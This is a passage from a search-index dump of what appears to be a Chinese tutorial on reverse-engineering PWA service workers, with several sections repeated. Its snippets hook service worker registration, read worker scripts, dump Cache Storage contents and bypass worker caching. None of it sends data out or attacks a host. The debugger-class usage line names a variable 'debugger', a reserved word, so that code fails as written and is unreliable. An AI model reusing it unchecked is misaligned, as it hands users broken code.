Idle: 准备就绪 Idle --\u003e Fetch: 拦截网络请求 Idle --\u003e Message: 接收页面消息 Idle --\u003e Push: 接收推送通知 Idle --\u003e Sync: 后台同步触发 Fetch --\u003e Idle: 处理完成 Message --\u003e Idle: 处理完成 Push --\u003e Idle: 处理完成 Sync --\u003e Idle: 处理完成 Idle --\u003e Redundant: unregister() 或被新 SW 替换 Redundant --\u003e [*] note right of Installing 触发: install 事件 操作: - 缓存静态资源 - 初始化数据库 end note note right of Activating 触发: activate 事件 操作: - 清理旧缓存 - 迁移数据 - clients.claim() end note note right of Idle 运行状态 监听事件: - fetch (请求拦截) - message (消息) - push (推送) - sync (后台同步) end note Service Worker 与页面交互流程 sequenceDiagram participant Page as 网页(Main Thread) participant SW as Service Worker(Worker Thread) participant Cache as Cache Storage participant Network as 网络服务器 Note over Page,Network: 1. 注册阶段 Page-\u003e\u003eSW: navigator.serviceWorker.register('/sw.js') activate SW Note over SW: Parsed → Installing SW-\u003e\u003eSW: install 事件触发 SW-\u003e\u003eCache: cache.addAll([静态资源]) Cache--\u003e\u003eSW: 缓存完成 Note over SW: Installing → Installed SW-\u003e\u003eSW: activate 事件触发 SW-\u003e\u003eCache: 清理旧缓存版本 SW-\u003e\u003ePage: clients.claim() 控制页面 Note over SW: Installed → Activated → Idle deactivate SW Note over Page,Network: 2. 运行阶段 - 请求拦截 Page-\u003e\u003eSW: fetch('/api/data') activate SW Note over SW: fetch 事件触发 SW-\u003e\u003eCache: caches.match(request) Cache--\u003e\u003eSW: 缓存命中/未命中 alt 缓存命中 SW--\u003e\u003ePage: 返回缓存响应 ⚡ else 缓存未命中 SW-\u003e\u003eNetwork: fetch(request) Network--\u003e\u003eSW: 网络响应 SW-\u003e\u003eCache","date":"2025-04-05","objectID":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/:3:2","tags":["Web","代理池","WebAssembly","Hook","进阶","DEX"],"title":"PWA 与 Service Worker 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/#service-worker-与页面交互流程"},{"categories":null,"collections":null,"content":"详细内容 ","date":"2025-04-05","objectID":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/:4:0","tags":["Web","代理池","WebAssembly","Hook","进阶","DEX"],"title":"PWA 与 Service Worker 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/#详细内容"},{"categories":null,"collections":null,"content":"Service Worker 注册与检测 1. 检测已注册的 Service Worker // 检测当前页面是否有 Service Worker if (\"serviceWorker\" in navigator) { navigator.serviceWorker.getRegistrations().then((registrations) =\u003e { console.log(\"Found Service Workers:\", registrations.length); registrations.forEach((registration, index) =\u003e { console.log(`Service Worker ${index + 1}:`); console.log(\" Scope:\", registration.scope); console.log(\" Active:\", registration.active); console.log(\" Waiting:\", registration.waiting); console.log(\" Installing:\", registration.installing); if (registration.active) { console.log(\" Script URL:\", registration.active.scriptURL); console.log(\" State:\", registration.active.state); } }); }); } 2. 监控 Service Worker 状态 if (\"serviceWorker\" in navigator) { navigator.serviceWorker.ready.then((registration) =\u003e { console.log(\"Service Worker is ready\"); console.log(\"Scope:\", registration.scope); // 监听状态变化 if (registration.active) { registration.active.addEventListener(\"statechange\", (e) =\u003e { console.log(\"Service Worker state changed:\", e.target.state); }); } }); // 监听更新 navigator.serviceWorker.addEventListener(\"updatefound\", () =\u003e { console.log(\"Service Worker update found\"); }); // 监听控制器变化 navigator.serviceWorker.addEventListener(\"controllerchange\", () =\u003e { console.log(\"Service Worker controller changed\"); }); } ","date":"2025-04-05","objectID":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/:4:1","tags":["Web","代理池","WebAssembly","Hook","进阶","DEX"],"title":"PWA 与 Service Worker 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/#service-worker-注册与检测"},{"categories":null,"collections":null,"content":"Service Worker 注册与检测 1. 检测已注册的 Service Worker // 检测当前页面是否有 Service Worker if (\"serviceWorker\" in navigator) { navigator.serviceWorker.getRegistrations().then((registrations) =\u003e { console.log(\"Found Service Workers:\", registrations.length); registrations.forEach((registration, index) =\u003e { console.log(`Service Worker ${index + 1}:`); console.log(\" Scope:\", registration.scope); console.log(\" Active:\", registration.active); console.log(\" Waiting:\", registration.waiting); console.log(\" Installing:\", registration.installing); if (registration.active) { console.log(\" Script URL:\", registration.active.scriptURL); console.log(\" State:\", registration.active.state); } }); }); } 2. 监控 Service Worker 状态 if (\"serviceWorker\" in navigator) { navigator.serviceWorker.ready.then((registration) =\u003e { console.log(\"Service Worker is ready\"); console.log(\"Scope:\", registration.scope); // 监听状态变化 if (registration.active) { registration.active.addEventListener(\"statechange\", (e) =\u003e { console.log(\"Service Worker state changed:\", e.target.state); }); } }); // 监听更新 navigator.serviceWorker.addEventListener(\"updatefound\", () =\u003e { console.log(\"Service Worker update found\"); }); // 监听控制器变化 navigator.serviceWorker.addEventListener(\"controllerchange\", () =\u003e { console.log(\"Service Worker controller changed\"); }); } ","date":"2025-04-05","objectID":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/:4:1","tags":["Web","代理池","WebAssembly","Hook","进阶","DEX"],"title":"PWA 与 Service Worker 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/#1-检测已注册的-service-worker"},{"categories":null,"collections":null,"content":"Service Worker 注册与检测 1. 检测已注册的 Service Worker // 检测当前页面是否有 Service Worker if (\"serviceWorker\" in navigator) { navigator.serviceWorker.getRegistrations().then((registrations) =\u003e { console.log(\"Found Service Workers:\", registrations.length); registrations.forEach((registration, index) =\u003e { console.log(`Service Worker ${index + 1}:`); console.log(\" Scope:\", registration.scope); console.log(\" Active:\", registration.active); console.log(\" Waiting:\", registration.waiting); console.log(\" Installing:\", registration.installing); if (registration.active) { console.log(\" Script URL:\", registration.active.scriptURL); console.log(\" State:\", registration.active.state); } }); }); } 2. 监控 Service Worker 状态 if (\"serviceWorker\" in navigator) { navigator.serviceWorker.ready.then((registration) =\u003e { console.log(\"Service Worker is ready\"); console.log(\"Scope:\", registration.scope); // 监听状态变化 if (registration.active) { registration.active.addEventListener(\"statechange\", (e) =\u003e { console.log(\"Service Worker state changed:\", e.target.state); }); } }); // 监听更新 navigator.serviceWorker.addEventListener(\"updatefound\", () =\u003e { console.log(\"Service Worker update found\"); }); // 监听控制器变化 navigator.serviceWorker.addEventListener(\"controllerchange\", () =\u003e { console.log(\"Service Worker controller changed\"); }); } ","date":"2025-04-05","objectID":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/:4:1","tags":["Web","代理池","WebAssembly","Hook","进阶","DEX"],"title":"PWA 与 Service Worker 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/#2-监控-service-worker-状态"},{"categories":null,"collections":null,"content":"拦截和分析请求 1. 读取 Service Worker 脚本 // 获取 Service Worker 脚本内容 async function fetchServiceWorkerScript(registration) { if (!registration.active) { console.log(\"No active Service Worker\"); return; } const scriptURL = registration.active.scriptURL; console.log(\"Fetching Service Worker script:\", scriptURL); try { const response = await fetch(scriptURL); const script = await response.text(); console.log(\"Service Worker script:\"); console.log(script); return script; } catch (e) { console.error(\"Failed to fetch Service Worker:\", e); } } // 使用 navigator.serviceWorker.getRegistrations().then((registrations) =\u003e { if (registrations.length \u003e 0) { fetchServiceWorkerScript(registrations[0]); } }); 2. Hook Service Worker 注册 // 拦截 Service Worker 注册 (function () { const originalRegister = navigator.serviceWorker.register; navigator.serviceWorker.register = function (scriptURL, options) { console.log(\"[SW Register] Intercepted:\", scriptURL, options); // 可以修改脚本 URL 或选项 return originalRegister .call(this, scriptURL, options) .then((registration) =\u003e { console.log(\"[SW Register] Success:\", registration); // 监听安装和激活 if (registration.installing) { registration.installing.addEventListener(\"statechange\", function (e) { console.log(\"[SW State]\", e.target.state); }); } return registration; }); }; })(); 3. 监听 Service Worker 消息 // 发送消息到 Service Worker navigator.serviceWorker.controller?.postMessage({ type: \"GET_CACHE_INFO\", timestamp: Date.now(), }); // 接收来自 Service Worker 的消息 navigator.serviceWorker.addEventListener(\"message\", (event) =\u003e { console.log(\"Message from Service Worker:\", event.data); }); ","date":"2025-04-05","objectID":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/:4:2","tags":["Web","代理池","WebAssembly","Hook","进阶","DEX"],"title":"PWA 与 Service Worker 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/#拦截和分析请求"},{"categories":null,"collections":null,"content":"拦截和分析请求 1. 读取 Service Worker 脚本 // 获取 Service Worker 脚本内容 async function fetchServiceWorkerScript(registration) { if (!registration.active) { console.log(\"No active Service Worker\"); return; } const scriptURL = registration.active.scriptURL; console.log(\"Fetching Service Worker script:\", scriptURL); try { const response = await fetch(scriptURL); const script = await response.text(); console.log(\"Service Worker script:\"); console.log(script); return script; } catch (e) { console.error(\"Failed to fetch Service Worker:\", e); } } // 使用 navigator.serviceWorker.getRegistrations().then((registrations) =\u003e { if (registrations.length \u003e 0) { fetchServiceWorkerScript(registrations[0]); } }); 2. Hook Service Worker 注册 // 拦截 Service Worker 注册 (function () { const originalRegister = navigator.serviceWorker.register; navigator.serviceWorker.register = function (scriptURL, options) { console.log(\"[SW Register] Intercepted:\", scriptURL, options); // 可以修改脚本 URL 或选项 return originalRegister .call(this, scriptURL, options) .then((registration) =\u003e { console.log(\"[SW Register] Success:\", registration); // 监听安装和激活 if (registration.installing) { registration.installing.addEventListener(\"statechange\", function (e) { console.log(\"[SW State]\", e.target.state); }); } return registration; }); }; })(); 3. 监听 Service Worker 消息 // 发送消息到 Service Worker navigator.serviceWorker.controller?.postMessage({ type: \"GET_CACHE_INFO\", timestamp: Date.now(), }); // 接收来自 Service Worker 的消息 navigator.serviceWorker.addEventListener(\"message\", (event) =\u003e { console.log(\"Message from Service Worker:\", event.data); }); ","date":"2025-04-05","objectID":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/:4:2","tags":["Web","代理池","WebAssembly","Hook","进阶","DEX"],"title":"PWA 与 Service Worker 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/#1-读取-service-worker-脚本"},{"categories":null,"collections":null,"content":"拦截和分析请求 1. 读取 Service Worker 脚本 // 获取 Service Worker 脚本内容 async function fetchServiceWorkerScript(registration) { if (!registration.active) { console.log(\"No active Service Worker\"); return; } const scriptURL = registration.active.scriptURL; console.log(\"Fetching Service Worker script:\", scriptURL); try { const response = await fetch(scriptURL); const script = await response.text(); console.log(\"Service Worker script:\"); console.log(script); return script; } catch (e) { console.error(\"Failed to fetch Service Worker:\", e); } } // 使用 navigator.serviceWorker.getRegistrations().then((registrations) =\u003e { if (registrations.length \u003e 0) { fetchServiceWorkerScript(registrations[0]); } }); 2. Hook Service Worker 注册 // 拦截 Service Worker 注册 (function () { const originalRegister = navigator.serviceWorker.register; navigator.serviceWorker.register = function (scriptURL, options) { console.log(\"[SW Register] Intercepted:\", scriptURL, options); // 可以修改脚本 URL 或选项 return originalRegister .call(this, scriptURL, options) .then((registration) =\u003e { console.log(\"[SW Register] Success:\", registration); // 监听安装和激活 if (registration.installing) { registration.installing.addEventListener(\"statechange\", function (e) { console.log(\"[SW State]\", e.target.state); }); } return registration; }); }; })(); 3. 监听 Service Worker 消息 // 发送消息到 Service Worker navigator.serviceWorker.controller?.postMessage({ type: \"GET_CACHE_INFO\", timestamp: Date.now(), }); // 接收来自 Service Worker 的消息 navigator.serviceWorker.addEventListener(\"message\", (event) =\u003e { console.log(\"Message from Service Worker:\", event.data); }); ","date":"2025-04-05","objectID":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/:4:2","tags":["Web","代理池","WebAssembly","Hook","进阶","DEX"],"title":"PWA 与 Service Worker 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/#2-hook-service-worker-注册"},{"categories":null,"collections":null,"content":"拦截和分析请求 1. 读取 Service Worker 脚本 // 获取 Service Worker 脚本内容 async function fetchServiceWorkerScript(registration) { if (!registration.active) { console.log(\"No active Service Worker\"); return; } const scriptURL = registration.active.scriptURL; console.log(\"Fetching Service Worker script:\", scriptURL); try { const response = await fetch(scriptURL); const script = await response.text(); console.log(\"Service Worker script:\"); console.log(script); return script; } catch (e) { console.error(\"Failed to fetch Service Worker:\", e); } } // 使用 navigator.serviceWorker.getRegistrations().then((registrations) =\u003e { if (registrations.length \u003e 0) { fetchServiceWorkerScript(registrations[0]); } }); 2. Hook Service Worker 注册 // 拦截 Service Worker 注册 (function () { const originalRegister = navigator.serviceWorker.register; navigator.serviceWorker.register = function (scriptURL, options) { console.log(\"[SW Register] Intercepted:\", scriptURL, options); // 可以修改脚本 URL 或选项 return originalRegister .call(this, scriptURL, options) .then((registration) =\u003e { console.log(\"[SW Register] Success:\", registration); // 监听安装和激活 if (registration.installing) { registration.installing.addEventListener(\"statechange\", function (e) { console.log(\"[SW State]\", e.target.state); }); } return registration; }); }; })(); 3. 监听 Service Worker 消息 // 发送消息到 Service Worker navigator.serviceWorker.controller?.postMessage({ type: \"GET_CACHE_INFO\", timestamp: Date.now(), }); // 接收来自 Service Worker 的消息 navigator.serviceWorker.addEventListener(\"message\", (event) =\u003e { console.log(\"Message from Service Worker:\", event.data); }); ","date":"2025-04-05","objectID":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/:4:2","tags":["Web","代理池","WebAssembly","Hook","进阶","DEX"],"title":"PWA 与 Service Worker 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/#3-监听-service-worker-消息"},{"categories":null,"collections":null,"content":"缓存分析 1. 枚举所有缓存 async function listAllCaches() { if (!(\"caches\" in window)) { console.log(\"Cache API not supported\"); return; } const cacheNames = await caches.keys(); console.log(\"Found caches:\", cacheNames); for (const cacheName of cacheNames) { console.log(`\\n=== Cache: ${cacheName} ===`); const cache = await caches.open(cacheName); const keys = await cache.keys(); console.log(`Total entries: ${keys.length}`); keys.forEach((request, i) =\u003e { console.log(` ${i + 1}. ${request.url}`); }); } } listAllCaches(); 2. 读取缓存内容 async function dumpCacheContent(cacheName, urlPattern) { const cache = await caches.open(cacheName); const keys = await cache.keys(); for (const request of keys) { if (!urlPattern || request.url.includes(urlPattern)) { const response = await cache.match(request); const headers = {}; response.headers.forEach((value, key) =\u003e { headers[key] = value; }); console.log(\"URL:\", request.url); console.log(\"Status:\", response.status); console.log(\"Headers:\", headers); // 根据内容类型读取响应体 const contentType = response.headers.get(\"content-type\"); if (contentType?.includes(\"json\")) { const json = await response.clone().json(); console.log(\"JSON:\", json); } else if ( contentType?.includes(\"text\") || contentType?.includes(\"javascript\") ) { const text = await response.clone().text(); console.log(\"Text:\", text.substring(0, 500)); } else { const blob = await response.clone().blob(); console.log(\"Blob size:\", blob.size, \"bytes\"); } console.log(\"---\"); } } } // 使用 dumpCacheContent(\"my-cache-v1\", \"api\"); 3. 清除特定缓存 async function clearCache(cacheName) { const deleted = await caches.delete(cacheName); console.log(`Cache \"${cacheName}\" deleted:`, deleted); } async function clearAllCaches() { const cacheNames = await caches.keys(); await Promise.all(cacheNames.map((name) =\u003e caches.delete(name))); console.log(\"All caches cleared\"); } ","date":"2025-04-05","objectID":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/:4:3","tags":["Web","代理池","WebAssembly","Hook","进阶","DEX"],"title":"PWA 与 Service Worker 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/#缓存分析"},{"categories":null,"collections":null,"content":"缓存分析 1. 枚举所有缓存 async function listAllCaches() { if (!(\"caches\" in window)) { console.log(\"Cache API not supported\"); return; } const cacheNames = await caches.keys(); console.log(\"Found caches:\", cacheNames); for (const cacheName of cacheNames) { console.log(`\\n=== Cache: ${cacheName} ===`); const cache = await caches.open(cacheName); const keys = await cache.keys(); console.log(`Total entries: ${keys.length}`); keys.forEach((request, i) =\u003e { console.log(` ${i + 1}. ${request.url}`); }); } } listAllCaches(); 2. 读取缓存内容 async function dumpCacheContent(cacheName, urlPattern) { const cache = await caches.open(cacheName); const keys = await cache.keys(); for (const request of keys) { if (!urlPattern || request.url.includes(urlPattern)) { const response = await cache.match(request); const headers = {}; response.headers.forEach((value, key) =\u003e { headers[key] = value; }); console.log(\"URL:\", request.url); console.log(\"Status:\", response.status); console.log(\"Headers:\", headers); // 根据内容类型读取响应体 const contentType = response.headers.get(\"content-type\"); if (contentType?.includes(\"json\")) { const json = await response.clone().json(); console.log(\"JSON:\", json); } else if ( contentType?.includes(\"text\") || contentType?.includes(\"javascript\") ) { const text = await response.clone().text(); console.log(\"Text:\", text.substring(0, 500)); } else { const blob = await response.clone().blob(); console.log(\"Blob size:\", blob.size, \"bytes\"); } console.log(\"---\"); } } } // 使用 dumpCacheContent(\"my-cache-v1\", \"api\"); 3. 清除特定缓存 async function clearCache(cacheName) { const deleted = await caches.delete(cacheName); console.log(`Cache \"${cacheName}\" deleted:`, deleted); } async function clearAllCaches() { const cacheNames = await caches.keys(); await Promise.all(cacheNames.map((name) =\u003e caches.delete(name))); console.log(\"All caches cleared\"); } ","date":"2025-04-05","objectID":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/:4:3","tags":["Web","代理池","WebAssembly","Hook","进阶","DEX"],"title":"PWA 与 Service Worker 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/#1-枚举所有缓存"},{"categories":null,"collections":null,"content":"缓存分析 1. 枚举所有缓存 async function listAllCaches() { if (!(\"caches\" in window)) { console.log(\"Cache API not supported\"); return; } const cacheNames = await caches.keys(); console.log(\"Found caches:\", cacheNames); for (const cacheName of cacheNames) { console.log(`\\n=== Cache: ${cacheName} ===`); const cache = await caches.open(cacheName); const keys = await cache.keys(); console.log(`Total entries: ${keys.length}`); keys.forEach((request, i) =\u003e { console.log(` ${i + 1}. ${request.url}`); }); } } listAllCaches(); 2. 读取缓存内容 async function dumpCacheContent(cacheName, urlPattern) { const cache = await caches.open(cacheName); const keys = await cache.keys(); for (const request of keys) { if (!urlPattern || request.url.includes(urlPattern)) { const response = await cache.match(request); const headers = {}; response.headers.forEach((value, key) =\u003e { headers[key] = value; }); console.log(\"URL:\", request.url); console.log(\"Status:\", response.status); console.log(\"Headers:\", headers); // 根据内容类型读取响应体 const contentType = response.headers.get(\"content-type\"); if (contentType?.includes(\"json\")) { const json = await response.clone().json(); console.log(\"JSON:\", json); } else if ( contentType?.includes(\"text\") || contentType?.includes(\"javascript\") ) { const text = await response.clone().text(); console.log(\"Text:\", text.substring(0, 500)); } else { const blob = await response.clone().blob(); console.log(\"Blob size:\", blob.size, \"bytes\"); } console.log(\"---\"); } } } // 使用 dumpCacheContent(\"my-cache-v1\", \"api\"); 3. 清除特定缓存 async function clearCache(cacheName) { const deleted = await caches.delete(cacheName); console.log(`Cache \"${cacheName}\" deleted:`, deleted); } async function clearAllCaches() { const cacheNames = await caches.keys(); await Promise.all(cacheNames.map((name) =\u003e caches.delete(name))); console.log(\"All caches cleared\"); } ","date":"2025-04-05","objectID":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/:4:3","tags":["Web","代理池","WebAssembly","Hook","进阶","DEX"],"title":"PWA 与 Service Worker 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/#2-读取缓存内容"},{"categories":null,"collections":null,"content":"缓存分析 1. 枚举所有缓存 async function listAllCaches() { if (!(\"caches\" in window)) { console.log(\"Cache API not supported\"); return; } const cacheNames = await caches.keys(); console.log(\"Found caches:\", cacheNames); for (const cacheName of cacheNames) { console.log(`\\n=== Cache: ${cacheName} ===`); const cache = await caches.open(cacheName); const keys = await cache.keys(); console.log(`Total entries: ${keys.length}`); keys.forEach((request, i) =\u003e { console.log(` ${i + 1}. ${request.url}`); }); } } listAllCaches(); 2. 读取缓存内容 async function dumpCacheContent(cacheName, urlPattern) { const cache = await caches.open(cacheName); const keys = await cache.keys(); for (const request of keys) { if (!urlPattern || request.url.includes(urlPattern)) { const response = await cache.match(request); const headers = {}; response.headers.forEach((value, key) =\u003e { headers[key] = value; }); console.log(\"URL:\", request.url); console.log(\"Status:\", response.status); console.log(\"Headers:\", headers); // 根据内容类型读取响应体 const contentType = response.headers.get(\"content-type\"); if (contentType?.includes(\"json\")) { const json = await response.clone().json(); console.log(\"JSON:\", json); } else if ( contentType?.includes(\"text\") || contentType?.includes(\"javascript\") ) { const text = await response.clone().text(); console.log(\"Text:\", text.substring(0, 500)); } else { const blob = await response.clone().blob(); console.log(\"Blob size:\", blob.size, \"bytes\"); } console.log(\"---\"); } } } // 使用 dumpCacheContent(\"my-cache-v1\", \"api\"); 3. 清除特定缓存 async function clearCache(cacheName) { const deleted = await caches.delete(cacheName); console.log(`Cache \"${cacheName}\" deleted:`, deleted); } async function clearAllCaches() { const cacheNames = await caches.keys(); await Promise.all(cacheNames.map((name) =\u003e caches.delete(name))); console.log(\"All caches cleared\"); } ","date":"2025-04-05","objectID":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/:4:3","tags":["Web","代理池","WebAssembly","Hook","进阶","DEX"],"title":"PWA 与 Service Worker 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/#3-清除特定缓存"},{"categories":null,"collections":null,"content":"Service Worker 内部代码示例 典型的 Service Worker 结构 // service-worker.js const CACHE_NAME = \"my-app-v1\"; const urlsToCache = [\"/\", \"/styles/main.css\", \"/scripts/app.js\"]; // 安装事件 - 缓存资源 self.addEventListener(\"install\", (event) =\u003e { console.log(\"[SW] Installing...\"); event.waitUntil( caches .open(CACHE_NAME) .then((cache) =\u003e { console.log(\"[SW] Caching app shell\"); return cache.addAll(urlsToCache); }) .then(() =\u003e self.skipWaiting()) // 立即激活 ); }); // 激活事件 - 清理旧缓存 self.addEventListener(\"activate\", (event) =\u003e { console.log(\"[SW] Activating...\"); event.waitUntil( caches .keys() .then((cacheNames) =\u003e { return Promise.all( cacheNames.map((cacheName) =\u003e { if (cacheName !== CACHE_NAME) { console.log(\"[SW] Deleting old cache:\", cacheName); return caches.delete(cacheName); } }) ); }) .then(() =\u003e self.clients.claim()) // 立即控制页面 ); }); // Fetch 事件 - 网络请求拦截 self.addEventListener(\"fetch\", (event) =\u003e { console.log(\"[SW] Fetching:\", event.request.url); event.respondWith( // 缓存优先策略 caches.match(event.request).then((response) =\u003e { if (response) { console.log(\"[SW] Cache hit:\", event.request.url); return response; } console.log(\"[SW] Cache miss, fetching:\", event.request.url); return fetch(event.request).then((response) =\u003e { // 缓存新响应 if (response.status === 200) { const responseClone = response.clone(); caches.open(CACHE_NAME).then((cache) =\u003e { cache.put(event.request, responseClone); }); } return response; }); }) ); }); // 消息处理 self.addEventListener(\"message\", (event) =\u003e { console.log(\"[SW] Message received:\", event.data); if (event.data.type === \"SKIP_WAITING\") { self.skipWaiting(); } // 回复消息 event.ports[0].postMessage({ type: \"PONG\", timestamp: Date.now(), }); }); ","date":"2025-04-05","objectID":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/:4:4","tags":["Web","代理池","WebAssembly","Hook","进阶","DEX"],"title":"PWA 与 Service Worker 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/#service-worker-内部代码示例"},{"categories":null,"collections":null,"content":"Service Worker 内部代码示例 典型的 Service Worker 结构 // service-worker.js const CACHE_NAME = \"my-app-v1\"; const urlsToCache = [\"/\", \"/styles/main.css\", \"/scripts/app.js\"]; // 安装事件 - 缓存资源 self.addEventListener(\"install\", (event) =\u003e { console.log(\"[SW] Installing...\"); event.waitUntil( caches .open(CACHE_NAME) .then((cache) =\u003e { console.log(\"[SW] Caching app shell\"); return cache.addAll(urlsToCache); }) .then(() =\u003e self.skipWaiting()) // 立即激活 ); }); // 激活事件 - 清理旧缓存 self.addEventListener(\"activate\", (event) =\u003e { console.log(\"[SW] Activating...\"); event.waitUntil( caches .keys() .then((cacheNames) =\u003e { return Promise.all( cacheNames.map((cacheName) =\u003e { if (cacheName !== CACHE_NAME) { console.log(\"[SW] Deleting old cache:\", cacheName); return caches.delete(cacheName); } }) ); }) .then(() =\u003e self.clients.claim()) // 立即控制页面 ); }); // Fetch 事件 - 网络请求拦截 self.addEventListener(\"fetch\", (event) =\u003e { console.log(\"[SW] Fetching:\", event.request.url); event.respondWith( // 缓存优先策略 caches.match(event.request).then((response) =\u003e { if (response) { console.log(\"[SW] Cache hit:\", event.request.url); return response; } console.log(\"[SW] Cache miss, fetching:\", event.request.url); return fetch(event.request).then((response) =\u003e { // 缓存新响应 if (response.status === 200) { const responseClone = response.clone(); caches.open(CACHE_NAME).then((cache) =\u003e { cache.put(event.request, responseClone); }); } return response; }); }) ); }); // 消息处理 self.addEventListener(\"message\", (event) =\u003e { console.log(\"[SW] Message received:\", event.data); if (event.data.type === \"SKIP_WAITING\") { self.skipWaiting(); } // 回复消息 event.ports[0].postMessage({ type: \"PONG\", timestamp: Date.now(), }); }); ","date":"2025-04-05","objectID":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/:4:4","tags":["Web","代理池","WebAssembly","Hook","进阶","DEX"],"title":"PWA 与 Service Worker 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/#典型的-service-worker-结构"},{"categories":null,"collections":null,"content":"实战示例 ","date":"2025-04-05","objectID":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/:5:0","tags":["Web","代理池","WebAssembly","Hook","进阶","DEX"],"title":"PWA 与 Service Worker 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/#实战示例"},{"categories":null,"collections":null,"content":"示例 1: Service Worker 调试工具 class ServiceWorkerDebugger { constructor() { this.registrations = []; } async init() { if (!('serviceWorker' in navigator)) { console.error('Service Worker not supported'); return; } this.registrations = await navigator.serviceWorker.getRegistrations(); this.setupListeners(); await this.analyze(); } setupListeners() { // 监听新的 Service Worker navigator.serviceWorker.addEventListener('controllerchange', () =\u003e { console.log('[Debugger] Controller changed'); this.analyze(); }); // 监听消息 navigator.serviceWorker.addEventListener('message', event =\u003e { console.log('[Debugger] Message:', event.data); }); } async analyze() { console.log('=== Service Worker Analysis ==='); console.log(`Found ${this.registrations.length} registration(s)`); for (const reg of this.registrations) { console.log('\\nRegistration:'); console.log(' Scope:', reg.scope); if (reg.active) { console.log(' Active:', reg.active.scriptURL); await this.analyzeWorker(reg.active); } if (reg.waiting) { console.log(' Waiting:', reg.waiting.scriptURL); } if (reg.installing) { console.log(' Installing:', reg.installing.scriptURL); } } await this.analyzeCaches(); } async analyzeWorker(worker) { try { const response = await fetch(worker.scriptURL); const code = await response.text(); console.log(' Script size:', code.length, 'bytes'); // 分析代码特征 const features = { hasInstallListener: code.includes(\"addEventListener('install'\"), hasActivateListener: code.includes(\"addEventListener('activate'\"), hasFetchListener: code.includes(\"addEventListener('fetch'\"), hasMessageListener: code.includes(\"addEventListener('message'\"), hasPushListener: code.includes(\"addEventListener('push'\"), usesCacheAPI: code.includes('caches.'), usesIndexedDB: code.includes('indexedDB'), hasWorkbox: code.includes('workbox') }; console.log(' Features:', features); } catch(e) { console.error(' Failed to analyze:', e); } } async analyzeCaches() { console.log('\\n=== Cache Analysis ==='); const cacheNames = await caches.keys(); console.log(`Found ${cacheNames.length} cache(s)`); for (const name of cacheNames) { const cache = await caches.open(name); const keys = await cache.keys(); console.log(`\\n${name}: ${keys.length} entries`); // 显示前5个条目 for (let i = 0; i \u003c Math.min(5, keys.length); i++) { console.log(` - ${keys[i].url}`); } if (keys.length \u003e 5) { console.log(` ... and ${keys.length - 5} more`); } } } async sendMessage(data) { if (!navigator.serviceWorker.controller) { console.error('No active Service Worker controller'); return; } const channel = new MessageChannel(); return new Promise((resolve, reject) =\u003e { channel.port1.onmessage = event =\u003e { resolve(event.data); }; navigator.serviceWorker.controller.postMessage(data, [channel.port2]); setTimeout(() =\u003e reject('Timeout'), 5000); }); } async unregisterAll() { for (const reg of this.registrations) { await reg.unregister(); console.log('Unregistered:', reg.scope); } } } // 使用 const debugger = new ServiceWorkerDebugger(); debugger.init(); ","date":"2025-04-05","objectID":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/:5:1","tags":["Web","代理池","WebAssembly","Hook","进阶","DEX"],"title":"PWA 与 Service Worker 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/#示例-1-service-worker-调试工具"},{"categories":null,"collections":null,"content":"示例 2: 绕过 Service Worker 缓存 // 方法1: 强制绕过缓存 async function bypassServiceWorkerCache(url) { return fetch(url, { cache: \"no-store\", headers: { \"Cache-Control\": \"no-cache\", Pragma: \"no-cache\", }, }); } // 方法2: 临时注销 Service Worker async function fetchWithoutServiceWorker(url) { const registrations = await navigator.serviceWorker.getRegistrations(); // 保存注册信息 const savedRegs = registrations.map((r) =\u003e ({ scriptURL: r.active?.scriptURL, scope: r.scope, })); // 注销所有 Service Worker await Promise.all(registrations.map((r) =\u003e r.unregister())); // 执行请求 const response = await fetch(url); // 重新注册 Service Worker for (const reg of savedRegs) { if (reg.scriptURL) { await navigator.serviceWorker.register(reg.scriptURL, { scope: reg.scope, }); } } return response; } // 方法3: 使用 iframe 绕过 async function fetchInIframe(url) { return new Promise((resolve, reject) =\u003e { const iframe = document.createElement(\"iframe\"); iframe.style.display = \"none\"; iframe.src = \"about:blank\"; iframe.onload = async () =\u003e { try { const response = await iframe.contentWindow.fetch(url); const data = await response.text(); resolve(data); } catch (e) { reject(e); } finally { document.body.removeChild(iframe); } }; document.body.appendChild(iframe); }); } ","date":"2025-04-05","objectID":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/:5:2","tags":["Web","代理池","WebAssembly","Hook","进阶","DEX"],"title":"PWA 与 Service Worker 